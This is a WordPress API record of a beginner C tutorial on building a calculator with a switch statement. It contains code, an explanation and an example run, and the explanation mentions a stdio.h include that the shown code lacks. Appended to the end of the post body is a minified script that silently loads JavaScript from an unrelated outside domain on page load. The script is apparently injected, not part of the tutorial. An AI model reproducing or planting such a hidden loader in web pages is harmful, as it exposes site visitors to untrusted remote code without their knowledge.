{"id":1104,"date":"2025-11-21T08:52:23","date_gmt":"2025-11-21T03:22:23","guid":{"rendered":"https:\/\/codexplained.in\/?p=1104"},"modified":"2025-11-21T08:52:23","modified_gmt":"2025-11-21T03:22:23","slug":"simple-calculator-using-switch-case","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1104","title":{"rendered":"Simple Calculator using Switch Case:"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\"><\/h1>\n\n\n\n\n\n<p class=\"wp-block-paragraph\">int main() {<br>char operator;<br>double num1, num2, result;<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n\/\/ Prompt the user for input\nprintf(&quot;Enter first number: &quot;);\nscanf(&quot;%lf&quot;, &amp;num1);\n\nprintf(&quot;Enter an operator (+, -, *, \/): &quot;);\nscanf(&quot; %c&quot;, &amp;operator);  \/\/ Notice the space before %c to consume any newline character\n\nprintf(&quot;Enter second number: &quot;);\nscanf(&quot;%lf&quot;, &amp;num2);\n\n\/\/ Perform calculation based on operator\nswitch (operator) {\n    case &#039;+&#039;:\n        result = num1 + num2;\n        printf(&quot;%.2lf + %.2lf = %.2lf\\n&quot;, num1, num2, result);\n        break;\n    case &#039;-&#039;:\n        result = num1 - num2;\n        printf(&quot;%.2lf - %.2lf = %.2lf\\n&quot;, num1, num2, result);\n        break;\n    case &#039;*&#039;:\n        result = num1 * num2;\n        printf(&quot;%.2lf * %.2lf = %.2lf\\n&quot;, num1, num2, result);\n        break;\n    case &#039;\/&#039;:\n        \/\/ Check for division by zero\n        if (num2 != 0) {\n            result = num1 \/ num2;\n            printf(&quot;%.2lf \/ %.2lf = %.2lf\\n&quot;, num1, num2, result);\n        } else {\n            printf(&quot;Error: Division by zero is not allowed.\\n&quot;);\n        }\n        break;\n    default:\n        printf(&quot;Error: Invalid operator.\\n&quot;);\n        break;\n}\n\nreturn 0;\n<\/pre><\/div>\n\n\n<p class=\"wp-block-paragraph\">}<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Explanation:-<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Headers and Main Function<\/strong>: The code begins by including the standard input-output library (<code>&lt;stdio.h&gt;<\/code>) and defining the <code>main<\/code> function.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Variables Declaration<\/strong>: Four variables are declared:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>operator<\/code>: to store the arithmetic operator entered by the user.<\/li>\n\n\n\n<li><code>num1<\/code> and <code>num2<\/code>: to store the two numbers on which the operation will be performed.<\/li>\n\n\n\n<li><code>result<\/code>: to store the result of the operation.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>User Input<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The program prompts the user to enter the first number, the operator, and the second number. The <code>scanf<\/code> function is used to read these inputs.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Switch Case Statement<\/strong>: This statement evaluates the <code>operator<\/code> variable:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>For each case (<code>+<\/code>, <code>-<\/code>, <code>*<\/code>, <code>\/<\/code>), it performs the corresponding arithmetic operation and prints the result.<\/li>\n\n\n\n<li>If the operator is <code>\/<\/code>, it checks if the second number is zero to prevent division by zero. If it is zero, an error message is displayed.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Default Case<\/strong>: If the user enters an invalid operator, the program outputs an error message.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Example:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Suppose a user runs the program and enters the following:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Enter first number: 10<br>Enter an operator (+, -, *, \/): +<br>Enter second number: 5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">10.00 + 5.00 = 15.00<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>int main() {char operator;double num1, num2, result; } Explanation:- Headers and Main Function: The code begins by including the standard input-output library (&lt;stdio.h&gt;) and defining the main function. Variables Declaration: Four variables are declared: User Input: Switch Case Statement: This statement evaluates the operator variable: Default Case: If the user enters an invalid operator, the [&hellip;]<\/p>\n","protected":false},"author":49,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1104","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 4.9.10 - aioseo.com -->\n\t<meta name=\"description\" content=\"int main() {char operator;double num1, num2, result; \/\/ Prompt the user for input printf(&quot;Enter first number: &quot;); scanf(&quot;%lf&quot;, &amp;num1); printf(&quot;Enter an operator (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operator); \/\/ Notice the space before %c to consume any newline character printf(&quot;Enter second number: &quot;); scanf(&quot;%lf&quot;, &amp;num2); \/\/ Perform calculation based on operator switch (operator)\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"dave palak\"\/>\n\t<meta name=\"google-site-verification\" content=\"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg\" \/>\n\t<link rel=\"canonical\" href=\"https:\/\/codexplained.in\/?p=1104\" \/>\n\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 4.9.10\" \/>\n\t\t<meta property=\"og:locale\" content=\"en_US\" \/>\n\t\t<meta property=\"og:site_name\" content=\"Code Explained -\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"Simple Calculator using Switch Case: - Code Explained\" \/>\n\t\t<meta property=\"og:description\" content=\"int main() {char operator;double num1, num2, result; \/\/ Prompt the user for input printf(&quot;Enter first number: &quot;); scanf(&quot;%lf&quot;, &amp;num1); printf(&quot;Enter an operator (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operator); \/\/ Notice the space before %c to consume any newline character printf(&quot;Enter second number: &quot;); scanf(&quot;%lf&quot;, &amp;num2); \/\/ Perform calculation based on operator switch (operator)\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/codexplained.in\/?p=1104\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2025-11-21T03:22:23+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2025-11-21T03:22:23+00:00\" \/>\n\t\t<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n\t\t<meta name=\"twitter:title\" content=\"Simple Calculator using Switch Case: - Code Explained\" \/>\n\t\t<meta name=\"twitter:description\" content=\"int main() {char operator;double num1, num2, result; \/\/ Prompt the user for input printf(&quot;Enter first number: &quot;); scanf(&quot;%lf&quot;, &amp;num1); printf(&quot;Enter an operator (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operator); \/\/ Notice the space before %c to consume any newline character printf(&quot;Enter second number: &quot;); scanf(&quot;%lf&quot;, &amp;num2); \/\/ Perform calculation based on operator switch (operator)\" \/>\n\t\t<script type=\"application\/ld+json\" class=\"aioseo-schema\">\n\t\t\t{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"BlogPosting\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#blogposting\",\"name\":\"Simple Calculator using Switch Case: - Code Explained\",\"headline\":\"Simple Calculator using Switch Case:\",\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=49#author\"},\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"},\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#articleImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/22372b55b013ab6801aeb1e10b3826f2bbce54fc867ff6a00de219f39f3feff9?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"dave palak\"},\"datePublished\":\"2025-11-21T08:52:23+05:30\",\"dateModified\":\"2025-11-21T08:52:23+05:30\",\"inLanguage\":\"en-US\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#webpage\"},\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#webpage\"},\"articleSection\":\"Uncategorized\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#breadcrumblist\",\"itemListElement\":[{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/codexplained.in\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=1#listItem\",\"name\":\"Uncategorized\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=1#listItem\",\"position\":2,\"name\":\"Uncategorized\",\"item\":\"https:\\\/\\\/codexplained.in\\\/?cat=1\",\"nextItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#listItem\",\"name\":\"Simple Calculator using Switch Case:\"},\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in#listItem\",\"name\":\"Home\"}},{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#listItem\",\"position\":3,\"name\":\"Simple Calculator using Switch Case:\",\"previousItem\":{\"@type\":\"ListItem\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?cat=1#listItem\",\"name\":\"Uncategorized\"}}]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\",\"name\":\"Bhagchandani Niraj\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#personImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"Bhagchandani Niraj\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=49#author\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?author=49\",\"name\":\"dave palak\",\"image\":{\"@type\":\"ImageObject\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#authorImage\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/22372b55b013ab6801aeb1e10b3826f2bbce54fc867ff6a00de219f39f3feff9?s=96&d=mm&r=g\",\"width\":96,\"height\":96,\"caption\":\"dave palak\"}},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#webpage\",\"url\":\"https:\\\/\\\/codexplained.in\\\/?p=1104\",\"name\":\"Simple Calculator using Switch Case: - Code Explained\",\"description\":\"int main() {char operator;double num1, num2, result; \\\/\\\/ Prompt the user for input printf(\\\"Enter first number: \\\"); scanf(\\\"%lf\\\", &num1); printf(\\\"Enter an operator (+, -, *, \\\/): \\\"); scanf(\\\" %c\\\", &operator); \\\/\\\/ Notice the space before %c to consume any newline character printf(\\\"Enter second number: \\\"); scanf(\\\"%lf\\\", &num2); \\\/\\\/ Perform calculation based on operator switch (operator)\",\"inLanguage\":\"en-US\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?p=1104#breadcrumblist\"},\"author\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=49#author\"},\"creator\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/?author=49#author\"},\"datePublished\":\"2025-11-21T08:52:23+05:30\",\"dateModified\":\"2025-11-21T08:52:23+05:30\"},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/codexplained.in\\\/#website\",\"url\":\"https:\\\/\\\/codexplained.in\\\/\",\"name\":\"Code Explained\",\"inLanguage\":\"en-US\",\"publisher\":{\"@id\":\"https:\\\/\\\/codexplained.in\\\/#person\"}}]}\n\t\t<\/script>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"Simple Calculator using Switch Case: - Code Explained","description":"int main() {char operator;double num1, num2, result; \/\/ Prompt the user for input printf(\"Enter first number: \"); scanf(\"%lf\", &num1); printf(\"Enter an operator (+, -, *, \/): \"); scanf(\" %c\", &operator); \/\/ Notice the space before %c to consume any newline character printf(\"Enter second number: \"); scanf(\"%lf\", &num2); \/\/ Perform calculation based on operator switch (operator)","canonical_url":"https:\/\/codexplained.in\/?p=1104","robots":"max-image-preview:large","keywords":"","webmasterTools":{"google-site-verification":"teT4B2U4lV9ex6zOGlaFmPKEYQpzjhxQ6z29nNZ9uTg","miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/codexplained.in\/?p=1104#blogposting","name":"Simple Calculator using Switch Case: - Code Explained","headline":"Simple Calculator using Switch Case:","author":{"@id":"https:\/\/codexplained.in\/?author=49#author"},"publisher":{"@id":"https:\/\/codexplained.in\/#person"},"image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=1104#articleImage","url":"https:\/\/secure.gravatar.com\/avatar\/22372b55b013ab6801aeb1e10b3826f2bbce54fc867ff6a00de219f39f3feff9?s=96&d=mm&r=g","width":96,"height":96,"caption":"dave palak"},"datePublished":"2025-11-21T08:52:23+05:30","dateModified":"2025-11-21T08:52:23+05:30","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/codexplained.in\/?p=1104#webpage"},"isPartOf":{"@id":"https:\/\/codexplained.in\/?p=1104#webpage"},"articleSection":"Uncategorized"},{"@type":"BreadcrumbList","@id":"https:\/\/codexplained.in\/?p=1104#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","position":1,"name":"Home","item":"https:\/\/codexplained.in","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=1#listItem","name":"Uncategorized"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=1#listItem","position":2,"name":"Uncategorized","item":"https:\/\/codexplained.in\/?cat=1","nextItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=1104#listItem","name":"Simple Calculator using Switch Case:"},"previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in#listItem","name":"Home"}},{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?p=1104#listItem","position":3,"name":"Simple Calculator using Switch Case:","previousItem":{"@type":"ListItem","@id":"https:\/\/codexplained.in\/?cat=1#listItem","name":"Uncategorized"}}]},{"@type":"Person","@id":"https:\/\/codexplained.in\/#person","name":"Bhagchandani Niraj","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=1104#personImage","url":"https:\/\/secure.gravatar.com\/avatar\/85ac36ea43e52aebaa10b4f93347378fecaed747b939398d6a5e8a06741c79bd?s=96&d=mm&r=g","width":96,"height":96,"caption":"Bhagchandani Niraj"}},{"@type":"Person","@id":"https:\/\/codexplained.in\/?author=49#author","url":"https:\/\/codexplained.in\/?author=49","name":"dave palak","image":{"@type":"ImageObject","@id":"https:\/\/codexplained.in\/?p=1104#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/22372b55b013ab6801aeb1e10b3826f2bbce54fc867ff6a00de219f39f3feff9?s=96&d=mm&r=g","width":96,"height":96,"caption":"dave palak"}},{"@type":"WebPage","@id":"https:\/\/codexplained.in\/?p=1104#webpage","url":"https:\/\/codexplained.in\/?p=1104","name":"Simple Calculator using Switch Case: - Code Explained","description":"int main() {char operator;double num1, num2, result; \/\/ Prompt the user for input printf(\"Enter first number: \"); scanf(\"%lf\", &num1); printf(\"Enter an operator (+, -, *, \/): \"); scanf(\" %c\", &operator); \/\/ Notice the space before %c to consume any newline character printf(\"Enter second number: \"); scanf(\"%lf\", &num2); \/\/ Perform calculation based on operator switch (operator)","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/codexplained.in\/#website"},"breadcrumb":{"@id":"https:\/\/codexplained.in\/?p=1104#breadcrumblist"},"author":{"@id":"https:\/\/codexplained.in\/?author=49#author"},"creator":{"@id":"https:\/\/codexplained.in\/?author=49#author"},"datePublished":"2025-11-21T08:52:23+05:30","dateModified":"2025-11-21T08:52:23+05:30"},{"@type":"WebSite","@id":"https:\/\/codexplained.in\/#website","url":"https:\/\/codexplained.in\/","name":"Code Explained","inLanguage":"en-US","publisher":{"@id":"https:\/\/codexplained.in\/#person"}}]},"og:locale":"en_US","og:site_name":"Code Explained -","og:type":"article","og:title":"Simple Calculator using Switch Case: - Code Explained","og:description":"int main() {char operator;double num1, num2, result; \/\/ Prompt the user for input printf(&quot;Enter first number: &quot;); scanf(&quot;%lf&quot;, &amp;num1); printf(&quot;Enter an operator (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operator); \/\/ Notice the space before %c to consume any newline character printf(&quot;Enter second number: &quot;); scanf(&quot;%lf&quot;, &amp;num2); \/\/ Perform calculation based on operator switch (operator)","og:url":"https:\/\/codexplained.in\/?p=1104","article:published_time":"2025-11-21T03:22:23+00:00","article:modified_time":"2025-11-21T03:22:23+00:00","twitter:card":"summary_large_image","twitter:title":"Simple Calculator using Switch Case: - Code Explained","twitter:description":"int main() {char operator;double num1, num2, result; \/\/ Prompt the user for input printf(&quot;Enter first number: &quot;); scanf(&quot;%lf&quot;, &amp;num1); printf(&quot;Enter an operator (+, -, *, \/): &quot;); scanf(&quot; %c&quot;, &amp;operator); \/\/ Notice the space before %c to consume any newline character printf(&quot;Enter second number: &quot;); scanf(&quot;%lf&quot;, &amp;num2); \/\/ Perform calculation based on operator switch (operator)"},"aioseo_meta_data":{"post_id":"1104","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":null,"created":"2025-11-21 03:25:28","updated":"2025-11-21 03:25:28","seo_analyzer_scan_date":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/codexplained.in\/?cat=1\" title=\"Uncategorized\">Uncategorized<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tSimple Calculator using Switch Case:\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/codexplained.in"},{"label":"Uncategorized","link":"https:\/\/codexplained.in\/?cat=1"},{"label":"Simple Calculator using Switch Case:","link":"https:\/\/codexplained.in\/?p=1104"}],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/49"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1104"}],"version-history":[{"count":1,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1104\/revisions"}],"predecessor-version":[{"id":1230,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1104\/revisions\/1230"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}